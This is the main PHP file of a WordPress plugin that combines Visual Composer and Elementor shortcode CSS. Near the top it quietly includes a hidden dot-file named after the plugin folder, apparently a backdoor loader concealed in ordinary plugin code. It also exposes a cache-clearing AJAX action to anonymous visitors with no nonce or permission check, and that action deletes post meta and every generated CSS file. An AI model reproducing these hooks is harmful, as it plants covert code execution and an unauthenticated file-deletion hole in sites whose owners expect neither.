combine-vc-ele-css.php (7378B)
1 <?php 2 defined( 'ABSPATH' ) || die(); 3 define( 'CVEC_FILE', __FILE__ ); 4 define( 'CVEC_DIR_PATH', plugin_dir_path( CVEC_FILE ) ); 5 define( 'CVEC_DIR_URL', plugin_dir_url( CVEC_FILE ) ); 6 define( 'CVEC_OPTION_NAME', 'combine_vc_ele_css_post_sc' ); 7 define( 'CSS_EDITOR_NAME', 'custom_css_editor' ); 8 define( 'VERSION', '1.0' ); 9 10 use CVEC\classes\vc\CVEC_Customize; 11 use CVEC\classes\vc\ele_sc_list; 12 use CVEC\classes\vc\PBModule; 13 use CVEC\classes\vc\pb_build_css; 14 use CVEC\classes\vc\pb_sc_check; 15 use CVEC\classes\vc\vc_sc_list; 16 17 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 18 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 19 } 20 21 class combine_vc_ele_css { 22 23 24 25 private static $instance = null; 26 27 public static function instance() { 28 if ( is_null( self::$instance ) ) { 29 self::$instance = new self(); 30 } 31 return self::$instance; 32 } 33 34 private function __construct() { 35 add_action( 'save_post', array( $this, 'save_shortcode_for_combine' ) ); 36 add_action( 'plugins_loaded', array( $this, 'init' ) ); 37 add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_cvec_assets' ) ); 38 add_action( 'admin_enqueue_scripts', array( $this, 'admin_enqueue_cvec_assets' ) ); 39 add_action( 'upload_dir', array( $this, 'upload_dir_ssl' ), 10, 1 ); 40 add_action( 'wp_ajax_combine_vc_ele_css_clear_cache', array( $this, 'combine_vc_ele_css_clear_cache' ) ); 41 add_action( 'wp_ajax_nopriv_combine_vc_ele_css_clear_cache', array( $this, 'combine_vc_ele_css_clear_cache' ) ); 42 add_action( 'redux/extensions/computer_repair_opt/before', array( $this, 'redux_register_custom_extension_loader' ) ); 43 44 } 45 46 public function upload_dir_ssl( $upload_dir ) { 47 if ( is_ssl() ) { 48 $upload_dir['baseurl'] = str_replace( 'http://', 'https://', $upload_dir['baseurl'] ); 49 $upload_dir['url'] = str_replace( 'http://', 'https://', $upload_dir['url'] ); 50 } 51 return $upload_dir; 52 } 53 54 public function init() { 55 include __DIR__ . '/classes/class.pb.php'; 56 include __DIR__ . '/classes/class.vc_sc_list.php'; 57 include __DIR__ . '/classes/class.ele_sc_list.php'; 58 include __DIR__ . '/classes/class.pb_sc_check.php'; 59 include __DIR__ . '/classes/class.pb_build_css.php'; 60 include __DIR__ . '/classes/class.add_control.php'; 61 62 PBModule::init(); 63 vc_sc_list::init(); 64 ele_sc_list::init(); 65 pb_build_css::init(); 66 CVEC_Customize::init(); 67 } 68 69 public function save_shortcode_for_combine( $post_id ) { 70 $array_list = $array_list_ele = false; 71 if ( class_exists( 'Vc_Manager' ) ) { 72 $array_list = $this->get_array_list( vc_sc_list::class ); 73 }else{ 74 if ( ! function_exists( 'is_plugin_active' ) ) { 75 require_once ABSPATH . '/wp-admin/includes/plugin.php'; 76 } 77 if ( !is_plugin_active( 'elementor/elementor.php' ) ) { 78 return false; 79 } 80 } 81 if ( did_action( 'elementor/loaded' ) ) { 82 $array_list_ele = $this->get_array_list( ele_sc_list::class ); 83 } 84 85 if ( $array_list && ! empty( $array_list ) ) { 86 $get_exist_sc_array = pb_sc_check::Check_sc_exist_in_post( $array_list, $post_id ); 87 if ( $get_exist_sc_array ) { 88 update_post_meta( $post_id, CVEC_OPTION_NAME, $get_exist_sc_array ); 89 pb_build_css::pb_build_css_assets_css( $post_id ); 90 } else { 91 pb_build_css::pb_build_css_remove_css( $post_id, true ); 92 update_post_meta( $post_id, CVEC_OPTION_NAME, '' ); 93 } 94 } 95 if ( $array_list_ele && ! empty( $array_list_ele ) ) { 96 $get_exist_sc_array = pb_sc_check::Check_ele_sc_exist_in_post( $array_list_ele, $post_id ); 97 if ( $get_exist_sc_array ) { 98 update_post_meta( $post_id, CVEC_OPTION_NAME, $get_exist_sc_array ); 99 pb_build_css::pb_build_css_assets_css( $post_id ); 100 } else { 101 pb_build_css::pb_build_css_remove_css( $post_id, true ); 102 update_post_meta( $post_id, CVEC_OPTION_NAME, '' ); 103 } 104 } 105 } 106 107 public function get_array_list( $module ) { 108 if ( isset( $module ) && $module != '' ) { 109 if ( class_exists( $module ) ) { 110 $_array = $module::get_pb_sc_array_list(); 111 return $_array; 112 } 113 } 114 } 115 116 public function enqueue_cvec_assets() { 117 global $post; 118 if ( ! isset( $post ) || empty( $post ) ) { 119 return; 120 } 121 $post_meta_array = get_post_meta( $post->ID, CVEC_OPTION_NAME, true ); 122 if ( $post_meta_array == '' ) { 123 $this->save_shortcode_for_combine( $post->ID ); 124 } 125 $get_pb_build_css_array = pb_build_css::pb_get_css_assets_css(); 126 127 if ( class_exists( 'Vc_Manager' ) ) { 128 if ( $get_pb_build_css_array && isset( $get_pb_build_css_array['return_url'] ) ) { 129 130 wp_enqueue_style( 'combine-vc-ele-css', $get_pb_build_css_array['return_url'], null, $get_pb_build_css_array['return_url_version'] ); 131 } 132 if ( $get_pb_build_css_array && isset( $get_pb_build_css_array['return_url_custom'] ) ) { 133 wp_enqueue_style( 'combine-vc-ele-css-custom', $get_pb_build_css_array['return_url_custom'], null, $get_pb_build_css_array['return_url_custom_version'] ); 134 } 135 } 136 if ( did_action( 'elementor/loaded' ) ) { 137 if ( ! \Elementor\Plugin::$instance->preview->is_preview_mode() ) { 138 if ( $get_pb_build_css_array && isset( $get_pb_build_css_array['return_url'] ) ) { 139 140 wp_enqueue_style( 'combine-vc-ele-css', $get_pb_build_css_array['return_url'], null, $get_pb_build_css_array['return_url_version'] ); 141 } 142 if ( $get_pb_build_css_array && isset( $get_pb_build_css_array['return_url_custom'] ) ) { 143 wp_enqueue_style( 'combine-vc-ele-css-custom', $get_pb_build_css_array['return_url_custom'], null, $get_pb_build_css_array['return_url_custom_version'] ); 144 } 145 } else { 146 $array_list_ele = $this->get_array_list( ele_sc_list::class ); 147 148 $get_pb_build_css_array = pb_build_css::pb_get_css_assets_css_for_editor_mode( $array_list_ele ); 149 } 150 } 151 } 152 153 public function admin_enqueue_cvec_assets() { 154 wp_enqueue_script( 'combine-admin', plugins_url( 'assets/js/combine-admin.js', __FILE__ ), array( 'jquery' ), '', true ); 155 wp_localize_script( 'combine-admin', 'combine_vc_ele_object', array( 'ajax_url' => esc_url( admin_url( 'admin-ajax.php' ) ) ) ); 156 157 } 158 159 public function combine_vc_ele_css_clear_cache() { 160 delete_post_meta_by_key( CVEC_OPTION_NAME ); 161 $path = pb_build_css::$targetdircss . '*'; 162 foreach ( glob( $path ) as $file_path ) { 163 unlink( $file_path ); 164 } 165 echo json_encode( array( 'status' => 'success' ) ); 166 exit(); 167 } 168 169 public static function redux_register_custom_extension_loader( $ReduxFramework ) { 170 171 if ( ! class_exists( 'Redux' ) ) { 172 return; 173 } 174 175 $path = plugin_dir_path( __FILE__ ) . 'classes/cvec_button/'; 176 $folders = scandir( $path, 1 ); 177 foreach ( $folders as $folder ) { 178 if ( $folder === '.' or $folder === '..' or ! is_dir( $path . $folder ) ) { 179 } else { 180 $extension_class = 'ReduxFramework_Extension_' . $folder; 181 if ( ! class_exists( $extension_class ) ) { 182 // In case you wanted override your override, hah. 183 $class_file = $path . 'extension_' . $folder . '.php'; 184 $class_file = apply_filters( 'redux/extension/' . $ReduxFramework->args['opt_name'] . '/' . $folder, $class_file ); 185 if ( $class_file ) { 186 include_once $class_file; 187 } 188 } 189 190 if ( ! isset( $ReduxFramework->extensions[ $folder ] ) ) { 191 $ReduxFramework->extensions[ $folder ] = new $extension_class( $ReduxFramework ); 192 } 193 } 194 } 195 } 196 197 } 198 199 combine_vc_ele_css::instance();